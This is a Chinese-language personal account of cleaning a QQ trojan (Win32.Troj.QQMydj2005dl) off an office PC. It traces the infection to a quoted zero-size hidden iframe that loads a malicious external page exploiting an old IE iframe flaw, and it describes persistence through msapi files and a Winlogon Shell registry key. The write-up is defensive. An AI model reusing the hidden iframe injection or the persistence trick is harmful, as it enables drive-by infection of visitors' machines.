昨天办公室里刚帮别人装好的一台机器被同事玩qq染上了病毒,他无意中点击了别人给他发来信息里的网址,说可以免费得qq币,以前看到过此类qq病毒,但一直没有机会接触,于是就找杀毒软件杀,下了金山的qq病毒专杀工具,查到内存里有Win32.Troj.QQMydj2005dl.125440,但是杀一下,屏幕马上又重新启动了一下shell(也就是explorer),再运行qq还是一样,病毒依旧。
呵呵,看来内存里的进程没清掉,文件扫描并没发现有病毒.于是想先把ie打补丁,但补丁却提示我的ie6不是ie6,补丁也打不上,于是我想就看看到底这个网站作了什么手脚.
"我不下地狱谁下地狱"想起了佛祖为了拯救世人而所做的,我做了一个愚蠢而鲁莽的决定:(决定用我的机器染一次病毒,但我却范了一个严重的错误,忘记了备份注册表(以后要考虑周全再行事,各位千万不要学我啊)后果可想而知,我的qq也一样,只要一点用户聊天,病毒自己就会定时的粘贴一些垃圾和网址到发送对话框中,并自动发送。如此开始了我的手动清除之旅,我用一个httpdebug调试器,开始连接调试qq上发过来的那个网站,然后察看它网页的源代码又上网查找相关的漏洞,原来是ie的iframe漏洞,它可以嵌入别的网页,但存在着缓冲区漏洞,如果恶意网页构造特定的内容就可以让未补丁的ie客户机执行任意指令。发现问题在这里
〈Iframe src="http://www.joyiex.com/dq.htm" width="0" height="0" scrolling="no"
frameborder="0"〉〈/iframe〉
〈noscript〉〈iframe src=*〉〈/iframe〉〈/noscript〉
又开始连接dq.htm,结果又得到
<HTML
<object data="dq.asp"
</HTML
看来是个asp,接着连接dq.asp结果得到的如下图。
不是把,我主页,搜索页等等都被它替换了,最可气连regedit都给我禁止了我作了个解锁的reg文件,这个文件网上很多,总算能编辑注册表了,看了看Run键值并未有什么可疑程序,又下了个3721的ie修复,还原了一下ie的各设置,但qq病毒还是没弄掉,于是我用vc自带的进程查看器pview和spy++查看一下有什么进程可疑,但都没发现,突然想起金山qq专杀可以看到那个进程号,于是就发现那个进程id是explorer,这是shell进程,看来是病毒是通过explorer执行了其他程序,于是确定硬盘上一定有它的文件,这回又使用了一下金山qq专杀,把内存项去掉了。
只查找c:盘,结果是有一个病毒,但列表中并没出现哪个文件,于是又多次查找,终于大概看到是ms打头的文件,于是直接到目录查看,看到有msapi.dll,msapi.exe两个文件是染毒时间产生的,基本判断是这两个文件了。.exe 可以删掉,但马上又会新产生一个,.dll删不掉,看来内存中的程序是以dll形态运行着,如果发现.exe不存在就生成一个新的,于是又到注册表里搜索msapi,终于发现在winlogin 的子键shell里有,呵呵总算找到它了,下面把它删除了,但是再一看又出来了,看来内存中的程序一直监控着这个键值,它是下次系统启动病毒正确执行的关键。
既然内存中的先清除不了,但.exe文件可以删除于是我把记事本程序改了成msapi.exe拷了过去,覆盖了病毒的msapi.exe,重新启动机器,哈,和预想的一样,记事本出来了,内存中应该没有病毒了,手动删除掉msapi.dll和注册表里的键值,就这样问题解决了。
最后总结一下所得到的经验和教训,看来开机启动运行的程序不一定都在RUN键值里,用explorer启动的程序在进程中只是显示explorer,分析这样的程序时最好先用工具备份注册表,最后觉得这个程序应该算是后门程序,在这里,希望和大家分享一下这个经历,本人文字功夫有限,有理解不对的地方还望大家指正。